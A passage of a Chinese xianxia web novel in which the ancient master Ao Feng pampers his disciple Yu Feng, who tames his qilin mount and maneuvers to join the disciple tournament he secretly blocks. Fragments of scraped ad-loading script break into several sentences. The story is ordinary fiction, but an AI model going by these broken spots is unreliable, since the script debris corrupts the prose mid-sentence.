“雪山之巅享日月之光而生的灵玉,天地之间独此一块,放在屋中,夜间也可亮如白昼,还有灵气发散,有助修为,枫儿可喜欢?” 余枫点点头,但并不感冒,毕竟过往敖风送的东西数不胜数,单她身上穿的鲛人雪纱便是世间独一的宝物,这玉石并不算出彩。 敖风将那灵玉看了又看,最终深吸口气重新用红绒绸布徐徐盖上。 这灵玉他夜行万里采来,还未看上几眼就送到余枫这儿了,趁着空档多看几眼。 余枫却是好奇剩下的是什么东西,一股脑将所有红绸尽数抽去。 本就烛火通明的殿宇内瞬间五光十色、绚丽多彩,尽是各类宝物玉石之光。 其中还有一块幽蓝的玉石,散发出光芒映照四周,将四周墙壁洇染成深蓝,伴有鲸鸣水声,令人如处深海之境。 敖风这些年送来了不少宝物,余枫也算见多识广,对这等宝物早已见怪不怪,不会表露出太多惊诧。 但这显出海底相的灵石,头一回叫她惊呼出声,满眼惊艳。 “师尊,这是深海之景?!我当真喜欢。” 她回头看向立在身侧的男人,黑白分明的眸中也染着点点幽蓝光泽,灿然一笑,如夏日明媚,光芒照入敖风眼底。 一如岁月无情的眼也跟着温暖。 “喜欢就好。”他做过的任何都值得。 各类宝石收起,余枫凑到敖风面前,“师尊,再去人间,可否也带我去看看海底?” “可以。” “那师姐说过几日就是与诸天宗的弟子大比,我也想参加,可不可以?” “不可。”敖风把玩着桌案上棋子,毫不犹豫回绝了她。 “为何?”余枫不解,“四年一比,从我来天地仙府已经举行过四次,师尊每次都不让我参加,更何况我多些本事,师尊日后带我去人间也不用太操心不是?” “弟子大比,真枪实剑,你毫无实战经验,会受伤。” “可我永远不参加,永远都没实战经验。” 敖风默了。 她说的有道理,无从辩驳,但敖风还是不想她去,索性三十六计走为上计。 留下一句“不可”,眨眼化风消失在原地。 “师尊?师尊!!” 万年风灵龙听力极佳,敖风掠出许远,余枫气恼的声音还是清晰传入耳中。 回头望了眼恒心殿方向,转而踏去两仪殿。 广元已恭候多时,见他迈入门槛,便恭恭敬敬行上一礼。 “见过师祖。” 余枫不在,敖风温暖如春的脸顷刻冷了下来,双手负在身后,几步迈到太师椅前坐下,一手抵着眉骨,两眼凝着门外万里晴空。 广元见状上前一步,“有弟子来报,说玄灵近期有异动,许是想趁着弟子大比浑水摸鱼作乱。” 敖风一言不发,狭长的黑眸仍旧望着门外景色,抵着眉骨的手轻微摩挲,不知在思索什么。 眼瞅着他脸色越来越难看,宛若冰山即将崩殂,广元暗抹了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把额上冷汗,脚下不着痕迹的往后退。 啪—— 敖风突地甩袖起身,掀起狂风将广元梳理齐整的白发眨眼吹成扫把头。 他左右来回踱步,肉眼可见的情绪焦躁,忽而脚步顿住,眯眼盯着广元。 “你嘴巴不严,连带教出来的弟子也是如出一辙。” “师祖,何意?”广元满脸茫然。 “你那好徒儿,跟枫儿说了弟子大比的事,枫儿现在吵嚷着非要参加,你说,本座如何处理是好?” “什么?!” 刚刚是敖风烦躁,现在轮到广元烦躁了。 上回说漏嘴已经够他头疼了,这才将人捉回,又来…… 不过也就是弟子大比而已,还是在天地仙府举行,师祖还这般提心吊胆。其实过于将余枫护着、看着,也是一种枷锁,以余枫的性子,指不定哪日会憋个大招,到时候师祖再要后悔,可就来不及了。 也真是怪,这老祖都活了近万年之久,脾气心性却不随冗长岁月沉淀,隔壁诸天宗的老祖活了几千岁都静如止水了,自家老祖还那般呃……鲜活。 “师祖还是不愿余枫参加?” “自然。” “既然如此,师祖放心,广元定不会让余枫参加的,”广元冲着敖风一拱手,“最近玄灵又有异动,兴许是想趁着弟子大比作乱,师祖您看要不要……” “不过是一些玄灵罢了,无需挂心,想办法处理好枫儿的事,莫要让她瞧出端倪,伤心难过。” 广元神情一肃,躬身行礼,“是。” “弟子大比时,再增派人手看好枫儿,莫要让她混入其中。” 广元:…… “怎么?”敖风挑眼斜睨他,“你有意见?” 他哪儿敢有什么意见? 广元连忙拱手领命,“广元知晓了,定不让余枫参与其中。” “你最好说到做到,别忘了上回的事,本座还未与你清算。” 敖风眯着眼,威胁意味不言而喻。 广元艰难吞咽了下口水,低头躬身退下。 两仪殿只剩他一人,左手落在扶手上有一下没一下轻轻敲着。 眼前浮现的是余枫方才在恒心殿中冲他回头一笑,满眼海色幽蓝的光。 敲击扶手的指尖倏然停止,心脏仿佛被温暖的手指拨动了弦,经久不止…… 他坐直身子,右手一翻,掌心凭空多出一条各色绳子编织而成的手链。 有些绳子已破旧看不出原本颜色,表面毛糙,好似随手轻扯就会断裂开来。 而有些则要略微新些。 这些绳子排列的十分有规律,从左到右,逐渐变新。 在最外的那条绳子最新,但也有些发灰了。 敖风指腹摩挲着那手链,眼底犹如风雨过后的海上晴空,云卷云舒,静谧幽深。 盯着那手链看了许久,视线仿佛透过这死物、穿过悠久岁月,回到当时。 半晌,他将那手链戴在腕间。 通身珠光宝气,明明灿灿,与这暗淡之物实在不相衬,但他却浑不在乎,指尖细细抚着。 “不好了师祖!” 外面风声急促,有道身影直接掠空落地,冲着殿内敖风单膝下跪。 “有本座在,能有什么不好?吵吵嚷嚷,聒噪。” “定缘峰!师祖快回去看看吧!” 5. 第5章 “麒麟兽伤了喂食的师弟!余枫师妹气愤非常,就……” 话说到这儿,那仙童嘴里磕磕巴巴,竟是畏惧的不敢继续往下说。 “就什么?说!” 敖风额角青筋跳起,眸色沉黑,一声叱喝,头顶瞬间闷雷炸裂开来,轰得那仙童两耳嗡嗡作响,神魂短暂跟肉身分离。 嘴里哆哆嗦嗦应着敖风的话,自己双耳却听不到分毫。 敖风听他言罢,脸色愈发难看,广袖一挥,身形化为流光,掀起飓风朝着定缘峰猛然飞掠而去。 吼—— 一声猛兽怒啸,地动山摇,定缘峰上万千桃树簌簌震颤,跟着散落成片桃花雨。 余枫身着鲛人雪纱长裙立在灼灼花瓣雨中,看着前方溶洞。 黑黢黢一片,忽闪着灯笼大的眼瞳,光泽幽绿,闪烁寒芒。 只是寻常踏出一步,地面便跟着轻轻震颤。 左右有弟子焦急高声呼喊。 “余枫师妹!师祖的麒麟兽独认师祖一人!即便你是你也无济于事,快些退下吧!” 余枫站在原地毫无离开意思,从纳戒中抽出一把冰雪长剑,利落一甩,仿佛有冰霜雪雾伴随,一看便不是凡品。 “我知晓我在做什么,专门趁着无人在附近才放开的麒麟兽,你们离远些,小心待会儿殃及到你们。” 那些个弟子果真听话,又退远了些。 余枫伤着了,可有那位老祖以天地灵宝养着,他们若是受伤,可没那么好的福气。 但毕竟同门,还是担心余枫,也担心知道余枫受伤大发雷霆的师祖,又高声提醒一句。 “师妹修为浅薄,与麒麟兽无法正面匹敌,还是快些走罢!” 这会儿再提醒已是晚了。 那麒麟兽一步踏出昏暗溶洞,身上细密金鳞折射日光,幽绿双眸凝着余枫,张口又是一声兽啸山林。吼声连绵不绝,惊得山林鸟雀飞散,有修为低的弟子更是耳内嗡鸣两眼昏花,几欲晕倒。 作为万年老祖的专属坐骑,自不是善茬。 高大如巍峨山耸,垂眸盯着在它眼里不过树枝似的余枫,鼻息喷吐,竟如掀狂风,地面掉落桃花瓣纷纷扬起。 藏匿左右的诸多弟子已全然掩蔽身形,只露出一双眼盯着外面情况。 处于危险中央的余枫立在原地,娇俏身形挺得笔直,身上鲛人雪纱被它鼻息吹得凌乱飞舞。 余枫垂眸扫了眼身上衣裙,蹙眉怒斥,“你这畜生,果真不懂规矩,伤了师弟,还弄脏我衣裳。” 手中长剑已然提起,寒光如雪照,挥动间剑霜雪之气弥漫,朝着麒麟兽的胸前直直刺去。 众多弟子齐齐闭眼,心中一声默哀。 麒麟兽满身黄金甲,防御力极高,这看着不过两指宽的薄剑,只怕在麒麟兽鳞片留下划痕都难。 而这一下必定激怒麒麟兽,余枫师妹,惨了…… 众人双目紧闭,顺势捂住双耳,以免听到凄厉惨叫声,可半晌过去,风扫桃花瓣,什么动静都没传来,只是那风更冷了。 日光当头,那风却带着丝丝缕缕冰寒之气,叫人禁不住打个寒颤。 “怎么没声儿了?” “该不会……” 有人悄然起身探头望去。 桃花树围绕的空地中央,余枫迎风而立,身上鲛人雪纱被风吹得紧贴于身,甩甩手中薄如蝉翼的佩剑,将之重新放入纳戒当中,俨然毫发无伤。 而她面前,那庞然大物麒麟兽,则被冻成一座冰雕,厚厚冰晶在日光下折射刺目光芒,冰壳之下,麒麟兽幽绿的眼珠子还在跟随余枫动作转动,增添了抹畏惧。 “下回可讲点卫生,别拿鼻涕喷人。” 纤巧的手抬起,毫不忌讳的拍上笼罩麒麟兽口鼻的冰晶。 “师兄他们说你六亲不认,只认师尊一人,那怎么行?仙府这么多师兄姐妹,哪日来喂养你,被你误伤了该如何是好?从现在起,你需得学学认人,知道了吗?最好要认识我,方便日后切磋。” 麒麟兽被封困在冰晶之中,没有反应。 余枫又道,“若是知道了就眨眨眼。” 麒麟兽当真乖巧眨动那双宝石绿的兽瞳。 “这就乖了,我放开你,今日懂了规矩识得了我,就可以开始切磋了。” 距离甚远,余枫又没拔高音量,隐匿在周围的同门听不清她在说什么。只见她制服麒麟兽,皆跟着落下高悬的心,脸上笑容还未化开,下一秒,就见余枫运起灵力照着冰晶一拍。 冰壳瞬间碎裂,麒麟兽重新恢复自由。 “好了,”她浑不在意抬起手,“来,嗅嗅我身上味道,要记住了。” 麒麟兽居高临下凝着她,幽绿的眸色逐渐转深。 身为天地仙府万年老祖的坐骑,麒麟兽与主人有几分相像——骄傲。 毕竟,它也是天地间唯一的麒麟兽。 平日里那些个弟子战战兢兢伺候他吃喝,就连那些个府主都得在它面前小心翼翼。 如今竟被一个女娃冻成个冰雕当狗训斥,真是岂有此理,兽面尽失。 灯笼大的眼死死盯着余枫纤细背影,毫无征兆,张口毫不犹豫地将余枫吞下。 “师妹!” 突生变故,不知是谁惊喊一声,嗓音满蕴恐慌,叫飞速赶来的敖风身形在半空一滞,瞧见地面上麒麟兽吞食余枫的画面,登时目眦欲裂! 空气仿佛在这瞬间凝滞,他如陷入淤泥,黏糊糊的泥浆埋过胸腔,沉闷、窒息,双耳不得所闻,只余砰砰狂跳,一下比一下沉重且急促的心跳声。 余枫眼前漆黑一片,伴随恶臭,一手紧攥成拳后缓缓松开,抬手轻拍麒麟兽下巴。 “放开。” 麒麟兽没有反应。 余枫五指重新攥紧,手腕摄魂铃叮当作响,蓦地一拳挥出,麒麟兽当下被一股强横霸道的力量轰飞,直直射入溶洞之中。 隆声巨响,溶洞顶峰开始坍塌。大块碎石七零八落坠下,眨眼将溶洞埋了个密不透风。 “混蛋,竟然跟我玩阴的?!” 余枫怒瞪一眼坍塌溶洞,拨开微微凌乱发丝,被麒麟兽利齿咬重,竟是毫发未伤。 “这、这……” 不过眨眼时间,局势陡生变故,有弟子不可思议的浅惊呼出声,满目错愕迷茫。 “是鲛人雪纱……”有人看明白了解释道,“连麒麟兽都破不开的强悍防御,还有方才那把照雪剑,可是神兵榜第一,刚刚那一拳,还有摄魂铃的加成,啧啧啧……师祖真是什么好东西都给余枫师妹了。” 诸位师兄弟嫉妒到以拳抢地的声音接二连三响起,后续徒留一阵艳羡叹息。 余枫自是听不到师兄弟们小声羡慕的声音,偏头轻嗅肩头方才被麒麟兽啃咬的地方。 恶臭的口水味……嫌弃地当场鼻尖皱起,扭头干呕不已。 “这混账东西……” 缓过劲儿来,余枫重新站直身子,提步就朝溶洞迈去。 眼前有风掠来,在余枫一步处凝化人影。 “师祖……” “师祖来了!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 隐匿在四下的同门倒抽口凉气,小声呐喊,趁着敖风没有注意到他们,悄无声息的撤退。 金冠束发,通身光彩照人,垂眸凝着余枫的眉眼如她方才使的照雪剑般冰冷。 “师尊?你怎么来了?”余枫心虚别开眼望向别处。 敖风不言语,目光将余枫从头到脚梭巡三遍,方才踏上前一步。 “这么大动静,我想不知道、不来都难。” “我也没搞多大动静啊……” 敖风右手亮起微光轻轻一挥,方才坍塌的溶洞以肉眼可见的速度迅速恢复原状。 余枫瞬间哑然,将没说完的话咽了回去。 动静,确实不小。 敖风手指一勾,那头麒麟兽则四脚不着地,似是被看不见的手硬生生提着出来,重重丢在他身侧,激起尘埃无数。 方才还威风八面的麒麟兽,眼下鼻青脸肿,身上闪闪发光的金鳞蒙上灰尘,变得黯淡无光。看到主人前来,登时有了底气,撑着四肢站起,大脑袋凑上前就要呜咽哭诉一番。 脸盘子才刚凑近,敖风甩手,啪——赏了它个响亮的巴掌,直接将其再次拍飞。 素来以强悍防御力出名的麒麟兽,挣扎着从地面站起,脸颊高高肿起,灯笼大的眼泪汪汪看着主人。 敖风侧目,在余枫看不见的角度眼中锋锐冷光迸溅而出。 “从今日起,给我日日食素!” 麒麟兽委屈的嗷呜一声,灰溜溜回了溶洞,自己落上铁锁。 敖风这才收回视线,重新落在余枫面上,一手上前捉住她手臂,“你随我来。” 余枫任由他牵着,一路回到恒心殿中。 甫一入殿,只剩下余枫与敖风二人,他掌心灵力喷涌而出,光芒将余枫全身笼罩。 须臾,余枫身上丁点擦伤包括鲛人雪纱上的污渍都被清理的干干净净。 余枫偏头重新嗅了嗅肩上,恶臭味消散,喜滋滋的冲着敖风道了声谢。 “先别急着道谢,事情还没结束。” 敖风牵着她,入了内殿,拉着她坐在矮案前,自己则站在她面前,双手负在身后,长眉高挑。 “说吧,放麒麟兽出来是何意。” 她大可以隔着牢笼将麒麟兽教训一顿,但她没有,反而将麒麟兽放出来了。 余枫别过脸看向别处,嘴里嘟嘟哝哝的说着,“也没什么特别的意思……” “说实话,否则,三日不得出寝宫。” 余枫顿时熄火,垂头丧气,“想帮师弟教训一下麒麟兽,顺带磨炼一下实战经验,师尊认可我的实力,日后我就可以常去人间……” “为何不找同门弟子实战?” “我也想,可师兄姐妹们都说忙,我也没办法。” 余枫耸耸肩,并不以为意,但敖风却嗅出几分不对头。 仙府弟子虽有课程,但并非时时都忙,这般拒绝余枫,只怕是有他的原因。 随便想想都知道,他敖风的宝贝徒弟,谁敢对练切磋?刀剑不长眼,万一磕了碰了,岂不是惹火上身? 敖风定定瞧了她一会儿,心下暗叹声气坐在她身旁。 “无需参加弟子大比,日后想去人间,我都与你同去,大比危险……” 话未说完,余枫就打断他的话,伸手拽住他衣袖。 “可是不管多危险,师尊都会保护我的,不是吗?” 那眼眸近在咫尺,如胧月皎皎。 刹那间,敖风心头砰地跳漏一拍,拢在阔袖下的五指逐渐收紧…… 6. 第6章 许久得不到敖风回应,见他只是一瞬不瞬的凝着自己出神,余枫好奇疑惑,跟着凑上前。 温热鼻息扑向敖风,他惊觉回神,却发觉二人此刻距离不过一指之隔。 略微垂眼,就能清晰看到余枫卷翘、密如羽扇的眼睫,还有轮廓分明饱满的朱唇。 她来时应当吃了什么果子,唇瓣被水光浸润,微微张启,呼出甘甜果香。 也不知是什么滋味…… 压在矮案上的手臂绷直,五指更是早已扣紧桌角。气息还在源源不断的吹拂而来,敖风黑眸逐渐幽深,欲望像是乌云渐渐围拢而来,遭将理智点点吞噬。 喉头艰涩上下滑动…… “师尊?” 女子清凌凌一声唤,敖风如遭当头棒喝,眼神瞬间清澈,飞快抬头,对上余枫满是疑惑黑白分明的眼。 “嗯?”他面上佯装镇定无事,扣紧桌案一角的掌心却沁出些薄汗。 “我脸上有什么东西吗?”余枫又凑近他几分,盯着他的眼,想从他眼中倒影看看自己到底有何处不妥。 才将一动,敖风却忽然起身急踏出两步,“无甚东西,只是我方才想事情出神了……” “哦……”余枫也不疑有他,起身追着敖风,“师尊还没应我话呢。” 仍旧背对着她,待到心绪平稳,方才回头重新迎上那双眼。 “自然,无论什么时候,我都会护着你。” 余枫笑眼如弯月,“既然如此,那我参加弟子大比就不会有什么危险,师尊就允了我吧。” 见敖风没有反应,余枫伸手在他眼前晃动。 “师尊?师尊?” 敖风垂眼看着她,眸光虚闪别开脸去,“弟子大比都是广元处理,他若应了……我便应下。” 此话虽有所保留,但也算他应了。 至于广元……余枫有的是办法让广元答应。 上次那三天之期,就是她自己争取得来的。 余枫欣喜若狂,退后一步行礼,一句“多谢师尊”,而后人便如风闪出门外。 “跑这么快,当心……” “无妨!” 倩影眨眼乘云消失在视野当中,声音远远飘下。 敖风脸上神色微凝,右手食指在虚空画下传音咒。 “师祖?”那头是广元试探性问候的声音。 “枫儿去找你了,还记得我跟你说过什么吗?弟子大比……” “广元知晓,弟子大比,必不让余枫参加受伤。” 敖风舒眉满意“嗯”了一声,广袖轻挥,将咒术驱散。 抬眸望着余枫离去方向,回忆起刚刚她突然凑近的场景,喉头又是一紧,下意识抚上腕间那条发旧手链。 * 余枫乘云而落,脚下轻轻一点,跃至广元寝殿门口。 广元寝殿就叫广元殿。平日里敖风将仙府大大小小事物都交给他来打理,整日忙的脚不沾地。 寝殿造成后,有弟子前来问询叫什么名字好,广元正为仙府堆积如山的实务烦心,便撂下一句。 “去去去!以我名字命名便罢!” 余枫抬眸瞧了眼“广元殿”三个大字,提步迈上前。 守门的仙童见是她来,便如往常般冲她一礼,侧身让开条道。 身为敖风唯一的弟子,她这张脸是任何地方的通行证,无人敢横加阻拦。 余枫提步就要跨过门槛,就听得里面突然脚步声凌乱靠近,抬眼望去,隐约瞧见一白发苍苍的老者从珠帘后身手矫健的飞奔而来。 “沐羽!如若余枫来了,就说我有病缠身,不方便……见。” 起初几个字说的急促且铿锵有力,到最后一个字骤然失声,见鬼似的身子僵直在原地。 “你……这么快就到了?” 余枫脸上笑意徐徐消散,两眼死死盯着广元,虽不如敖风视线那般压迫人,但广元眼下心虚的紧,也不敢直迎她视线。 “撒谎、骗人……” 余枫嫌弃的皱起鼻尖,啧了一声连连摇头,“我天地仙府的府主竟是这种德行。” 字字句句,犹如冰冷钢针毫不留情刺入广元软肋,挑开他的羞耻心。 广元一张老脸顿时羞窘的通红,挺直了一辈子的背在这一刻弯了下去。 “能……别往外说吗?”这虽是大家常会说的善意谎言,但他是天地仙府表面上的府主,门面担当,这等事捅出去,多少不光彩。 余枫舒眉笑的几分慧黠灵动,“可以。” 答应的十分痛快,而后也直截了当说出了自己所需。 “但要让我参加弟子大比,师尊已经同意了。” 同意?同意个鬼…… 只不过在你面前当好人罢。 被捏住把柄威胁了,广元心里有苦说不出,又是如上次那般骑虎难下。 若要直接拒绝,只怕晚节不保,思来想去,琢磨出来个折中的法子。 “让你参加弟子大比可以,但要上场试炼的都是各宗门优秀弟子,你若闯的过去,便依你。” 余枫脸上笑意还未化开,就见广元一捋须,眼底精芒闪烁,“前提是,单凭自身实力,不可带师祖给你的法器。” 弟子大比,余枫势在必行,斩钉截铁的答应,扭头就走,毫不停留。 看着余枫离去的背影,广元眉头牵开满意一笑,挥舞着手,“慢走。” 晚节保住了,连同师祖交代的任务也完成了,可喜可贺。 忽而有些庆幸这回是被余枫抓住了把柄,像是上回去人间历练,余枫可是每日坚持不懈来他殿门前,如孙女死缠着阿爷那般央求他。 余枫每用起这招,就会伴随敖风近乎冰刃刀人的视线,叫人委实受不住。 幸好幸好…… * 有了参与弟子大比的资格,余枫早起晚归,勤学苦练,连见敖风的时间都少了。 平日里晨起需得去定缘峰问师尊安,但敖风体恤她,准许她可不固定时间去,只每日任意时间去一趟便罢。 这回倒好,整日念着修炼,每日去一趟,问个安提剑扭头就走。 敖风有几次想伸手多留她一下,余枫皱眉疑惑。 “旁的师尊都盼望徒弟勤学苦练,师尊却为何正好相反?师尊不想我进步?” 敖风无奈,只得放她去。 看着空空荡荡了一日的定缘峰,敖风怒火直接爆发了。 没有憋忍,没有兆头,天色即脸色,说变就变。 随手掐出传音咒,冲着那头广元咬牙切齿寒声道。 “滚过来见我!” “来了来了……” 传音咒内适时响起广元的声音,却与殿外声音一并传来。 广元早有预料,人已经到了。 “见过……”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “师祖”二字还未出,劲风迎面而来,吹得他眼皮直翻,瞅着那无形的风在眼前化为人形。 “本座让你办的事,你又搞砸了?!” 敖风伸手攥住广元那把胡须,用力扯了扯,“是不是真以为我念及旧情,舍不得要你性命?!” 说话间怒气又再翻腾,攥着那把山羊胡朝着高处拉扯。 “哎哎哎……”广元被他扯得痛呼,跟着他手高抬起下巴,嘴里说着,“师祖息怒,我并未同意余枫参加弟子大比,师祖说莫要让余枫察觉不妥,所以答应只是表面,实则是有条件的。” 敖风冷笑,“本座听闻了,就是让枫儿别带法器入内。” 他攥着胡子的手再次收紧,狭长黑眸眯起,笑得渗人,“本座且问你,若枫儿不带法器入内,受了伤……谁来担责?嗯?” 最后一个字尾音猛地上扬,攥着山羊胡的五指倏然收紧,广元痛声疾呼,从敖风手中解救出来自己的胡子,已然掉了几根。 敖风站直身子,垂眸睨着眼前人,语调冷漠似霜,“你知道疼,枫儿不知吗?” “不是如此,”广元连连揉着下巴,低眉顺眼的解释,“余枫有师祖所赠法器,要通过弟子大比初选试炼太过轻松,所以我才让她不带法器入内,将她将第一轮试炼筛下去就不会……” 敖风眉眼渐渐温和,提步转回太师椅撑着额头坐下,听他说至此,撩起眼慵懒看他。 “你言下之意,莫不是枫儿没了本座的法器,就无法通过试炼?” “这……” 广元哑然,不知该如何回复。 余枫这些年确实没怎么修炼过,至少他们没见过余枫修炼。毕竟身侧就站着一位万年老祖相护,又有数不清的法器傍身,若换做他们,也未必会浪费时间修炼。 可若实话道出,必定惹得敖风不高兴,他可听不得旁人说余枫半个不好。 一时之间,广元又落入骑虎难下境地,脑海里乱哄哄一团,甚至有那么一瞬间想直接撂挑子走人。 什么难伺候的老祖?他不干了! 脑海中兀地灵光闪现,他绕开话题,反道,“师祖,余枫现在每日苦修,若是有人能从旁指点,想必余枫会十分感激。” 敖风眼皮轻跳,冷漠的眼亮起微光。 沉吟片刻后他坐直身子,看着广元微笑起身,抬手轻拍在他肩头。 “这些年来我将仙府交于你打理,你确实辛苦了,我那方灵火温泉池,辟一半到你寝殿,乏累之余,泡泡温泉消解疲劳。” 广元险些喜极而泣,方才要撂挑子的想法直接抛到九霄云外。 什么不干了? 这活儿他要干到地老天荒海枯石烂! “多谢师祖。” 敖风心情甚好,目送广元至门外,待到他乘云远去,方才转身回到太师椅,一手撑着下颌,舒眉朗笑。 “帮助枫儿修炼,这些年,我怎么没想到呢?” 翌日。 风清日朗。 敖风穿着一袭沾染云霞色长袍款步来到恒心峰前。 余枫正在桃花树下习剑。 不知习了多久,额上已然沁出汗珠,被日光一照,折射明亮光彩。 敖风立在一旁看着,待到她收势,方才勾起薄唇,提步踏出。 “枫儿,我来……” 话未说完,就见殿内又走出一道身影。 7. 第7章 狄玉环笑得有些无奈沧桑。 又碰上了…… 在旁的地方一年都未必能见上师祖一回尊容,在余枫这恒心殿,无论她什么时候到,却是每次都能正巧碰上。 “见过师祖。”狄玉环乖乖上前行礼。 敖风略一颔首,冷淡疏离。倒不是因为她嘴里漏风,让余枫知晓了弟子大比的事,只是他对除却余枫以外的人,皆是如此。 “师尊来了?”余枫收起手中木剑,旋即走向狄玉环挽住她手臂,“我正在跟师姐切磋,玉环师姐帮忙指点我呢。” 指点…… 这是抢了他的活儿。 敖风背负在后的五指渐渐收紧,看向狄玉环的视线越发不善。 狄玉环心头暗叫一声苦,知晓她兴许是坏了敖风的事,十分识趣地拂开余枫的手。 “师妹,我突然想起有点事未处理完,待我先去……” “又这么突然?” 狄玉环汗颜。 并非她想突然有事,是有人让她突然有事。 余枫垂首握着木剑戳地面,将平整地面戳的坑坑洼洼,“那么多师兄姐都忙,现在你又突然有事,又剩我一人了。” 敖风眼底光芒忽闪,忆起昨日余枫说无人与她切磋比试的话来,负在身后摩挲的指尖顿住。 “实在对不住了师妹,等下回……” 狄玉环提步要走,敖风突然开口,一声“等等”,叫她登时僵在原地。 “师祖有何吩咐?” “你的事情,叫旁人去办吧,你就留在此处,指点枫儿,与枫儿切磋罢。” 说着,他右手一翻,掌心多出一个圆钵,像是凡间和尚化缘所用,只不过是玉石雕刻,上面还刻着细密繁复的符篆。 “此物可助你二人修行。” 说完将玉钵往虚空抛去,柔和光芒笼罩在二人身上,方才切磋的乏累顿时一扫而空。 “我不会打扰你们,可随意些。” 敖风说着,身形凭空化风,消失在原地。 一旁桃花树轻晃,片片花瓣落下,敖风人已隐匿在花瓣之中,隔着稠密的灼色花瓣望着余枫二人,伸手攥了把桃花,在掌心碾出粉色汁液来。 来晚一步,可恨…… 怨念的眼神盯着狄玉环,但见余枫与之切磋脸上时常挂着明媚笑容,那点怨念便跟着徐徐消散。 一手枕在脑后,就这么随意斜倚在树上,隔着片片花瓣望着挥出一剑又一剑的余枫。 风动桃花,吹起满园香。 * 直至天色擦黑,狄玉环方才离去。 桃花被风吹落满地,在夜色下显不出妖冶色泽,平铺满地,被偶尔经过的风掠起,似水面起了波纹。 余枫坐在石桌前随意抬手抹去额上汗丝,旁边自有仙童上前问询她是否要传膳、想用些什么吃食。 天地仙府的吃食无非就是那几样,灵芝仙露,亦或者些灵果之类,像是人间那等烟火菜系是没有的。 忆起那滋味,余枫眼神倏然暗淡,“随便,跟往常一样就好。” 仙童应声退下。 风响,有轻微脚步声朝这边踏来,熟悉的霜雪冷香入鼻,余枫不必回头,便知晓来人是谁。 “师尊刚来还是一直没走?” 敖风想掩盖身上气息,谁都无法察觉他的存在。 说好了让余枫跟狄玉环对练,他不打扰,就顺带将身上气息敛去了。 “未走。”敖风也不隐瞒,抬眸看着仙童离去方向,随手甩了传音过去,让多送一份吃食。 以他的修为,万年不进食也饿不死,如此,只是想找个由头在这暗淡的天色下,多留一会儿。 “几个时辰,师尊一直都在?不觉得无聊吗?”余枫觉得有些不可思议,若是她,只怕早打哈欠回屋睡觉去了。 敖风摇头,眉眼舒展开来时瞧着也十分温润,“一点也不。” 吃食送上,余枫拿起颗果子送入口中。果汁在咬下的一刻涌出,眨眼润湿她丰润的恰到好处的朱唇。 味道甘甜,但想起人间烟火味儿的美食,余枫只觉味同嚼蜡。 “哎……”余枫一手撑着下巴滋味乏陈的叹息。 “怎么了?不合胃口?” “不是……”余枫视线从手中果子移开,看向敖风,“师尊,等我参加完弟子大比,你就带我去人间,如何?” “好。” 敖风垂眼。 她又提弟子大比了,想来是十分挂心此事,可他已经吩咐广元,不许她入内。 默了片刻,他问,“你要磨炼提升,我可助你提升,弟子大比,参不参加,都无伤大雅。” “提升不提升,其实也无伤大雅,”余枫一颗果子吃完,被灵气补的有些撑,捏着绢帕擦拭手指。 “那?” 余枫回,“人多热闹,可以打发时间。” 敖风蜷起的食指松开,轻松敲击起石桌,眼底隐笑。 原来是这么个缘由,若日后她无法进入最终比试,想来凑个热闹,也不会太过失落。 方才见她额上满是汗丝,认认真真一下午,心头略微悬起,眼下算是松了口气。 “怎么了?” “无事,只是怕试炼筛选太过严格,你万一落选,会失落,若是如此,我就放心了。” “严格?”余枫眼底跳起跃跃欲试的光,“那我更期待了,时间快些,早日到筛选试炼才好。” 敖风凝着她,眼底笑意加深。月光穿过桃花树,斑驳银光落在他眉眼,眸光比月光温柔。 从来都有人知难而退,可余枫偏偏是相反的,素来迎难而上,如逆水行舟,风浪越大,她生命力越昂扬澎湃,越是骁勇。 逆境是打磨她这块金子的烈火,而她则于烈火中愈发灿烂,吸人目光。 “今日你与狄玉环切磋我都看在眼里,广元教导的徒弟不错,指点的你都在理,可还有一点差了些,可要我告诉你?” 他来此,目的便是如此。 话音落下,方才轻松敲击桌面的食指停下,紧绷着,抵着桌面的指腹微微泛白。 余枫一言不发,起身离开。 敖风从未指点过她这些,从雪地里将年幼的她带回,便是捧在手心里,严苛的训练不曾有,有的只是铺天盖地的法器珠宝。 如今突然如此提起,以为她不愿,紧绷的食指无力松懈。 “师尊?快过来啊。” 心头落至谷底,夜里习习凉风将余枫清脆嗓音吹入耳中。 敖风倏然抬头循声望去,余枫正立在桃花树下,笼在月光之中。身上银光曳动的长裙散发粼粼之光,似神女也。 余枫随手抛了木剑给他,又说,“师尊发什么愣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?可是要反悔?” 敖风起身稳稳接住木剑,朝她信步而去,“绝不。” 他身形不动,却如水中散开墨汁般融化为风,眨眼重现在余枫面前。 “有一点需要指正的是,最好的防御,是进攻,便如这样……” 话音将落,手中木剑突地提起斜挑而上。 余枫堪堪一跃后退避开,但被打了个措手不及,木剑挟裹的凌厉剑风从眉心呼啸而过,隐隐有些火辣辣的疼。 心如扔入油锅,瞬间炸开锅来,兴奋地跳跃不止。 “最好的防御是进攻?有意思!还请师尊指教一二!” 余枫双目熠明光,如火堆中飞舞而出的星火,握紧手中剑,脚下一踏,身化灵鸟,毫不犹豫欺身而上。 一人一剑,风卷桃花,纠缠于夜色之下。 酣畅淋漓之后,余枫直接躺倒在地,仰头望着星河漫天,兰息喷吐。 “这好像是师尊头一次提点我练剑。” “是。” 敖风挨着她身旁坐下,屈起一条长腿,双手压在身后,墨色发丝拖曳在地,带起几片桃花。 “感觉如何?” 余枫翻了个身,一手撑着下巴望它,突然展颜一笑,“感觉师尊确实是师尊。” 敖风口中喃喃重复了一遍她说的话,不解,“何意?从前师尊不像师尊吗?” 余枫摇头,“不像。” “那像什么?”敖风问的有些迫切,甚至身子都倾斜靠近她几分,撑在身后地面的手指蜷起,攥了一把散落的桃花瓣与泥土。 心怦怦狂跳,甚至听不清风声。 “师尊想知道?”余枫微微扬眉。 “想。” “那等我过了第一轮筛选就告诉师尊。” 余枫话头戛然而止,干脆利落的起身,伸了个懒腰,回头对敖风说,“时辰不早,累了一天,师尊也早些回去歇息吧。” 